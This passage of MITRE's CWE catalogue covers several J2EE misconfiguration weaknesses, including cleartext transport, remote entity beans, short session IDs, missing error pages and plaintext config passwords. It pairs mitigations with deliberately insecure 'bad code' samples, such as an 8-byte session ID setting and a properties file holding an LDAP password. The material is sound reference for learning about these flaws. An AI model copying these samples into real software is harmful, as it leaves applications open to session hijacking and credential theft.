CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Persistence in J2EE Frameworks

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Weakness ID: 5
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.319Cleartext Transmission of Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Integrity

Technical Impact: Modify Application Data

+ Potential Mitigations

Phase: System Configuration

The product configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed:

  • A user manually enters URL and types "HTTP" rather than "HTTPS".
  • Attackers intentionally send a user to an insecure URL.
  • A programmer erroneously creates a relative link to a page in the application, which does not switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Misconfiguration: Insecure Transport
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Common_Consequences, Description
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-01-31CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11J2EE Misconfiguration: Insecure Transport

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

Weakness ID: 8
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language: XML 
<ejb-jar>
<enterprise-beans>
<entity>
<ejb-name>EmployeeRecord</ejb-name>
<home>com.wombat.empl.EmployeeRecordHome</home>
<remote>com.wombat.empl.EmployeeRecord</remote>
...
</entity>
...
</enterprise-beans>
</ejb-jar>
+ Potential Mitigations

Phase: Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Misconfiguration: Unsafe Bean Declaration
Software Fault PatternsSFP23Exposed Data
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

Weakness ID: 6
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The J2EE application is configured to use an insufficient session ID length.
+ Extended Description
If an attacker can guess or steal a session ID, then they may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.334Small Space of Random Values
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1018Manage User Sessions
+ Background Details

Session ID's can be used to identify communicating parties in a web environment.

The expected number of seconds required to guess a valid session identifier is given by the equation: (2^B+1)/(2*A*S) Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

If an attacker can guess an authenticated user's session identifier, they can take over the user's session.
+ Demonstrative Examples

Example 1

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

(bad code)
Example Language: XML 
<sun-web-app>
...
<session-config>
<session-properties>
<property name="idLengthBytes" value="8">
<description>The number of bytes in this web module's session ID.</description>
</property>
</session-properties>
</session-config>
...
</sun-web-app>

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

+ Potential Mitigations

Phase: Implementation

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

Phase: Implementation

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.965SFP Secondary Cluster: Insecure Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Misconfiguration: Insufficient Session-ID Length
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-482] Zvi Gutterman. "Hold Your Sessions: An Attack on Java Session-id Generation". 2005-02-13. <https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/gm05.pdf>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Background_Details, Description
2009-05-27CWE Content TeamMITRE
updated Description, Other_Notes, References
2009-10-29CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Enabling_Factors_for_Exploitation, Other_Notes, Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-7: J2EE Misconfiguration: Missing Custom Error Page

Weakness ID: 7
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The default error page of a web application should not display sensitive information about the product.
+ Extended Description

A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.756Missing Custom Error Page
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.
+ Demonstrative Examples

Example 1

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

(bad code)
Example Language: Java 
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
...
} catch (ApplicationSpecificException ase) {
logger.error("Caught: " + ase.toString());
}
}
+ Potential Mitigations

Phase: Implementation

Handle exceptions appropriately in source code.

Phases: Implementation; System Configuration

Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

Phase: Implementation

Do not attempt to process an error or attempt to mask it.

Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Misconfiguration: Missing Error Handling
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-65] M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". McGraw-Hill/Osborne. 2005-07-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10J2EE Misconfiguration: Missing Error Handling

CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID: 555
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The J2EE application stores a plaintext password in a configuration file.
+ Extended Description
Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.260Password in Configuration File
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

(bad code)
Example Language: Java 
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
+ Potential Mitigations

Phase: Architecture and Design

Do not hardwire passwords into your software.

Phase: Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
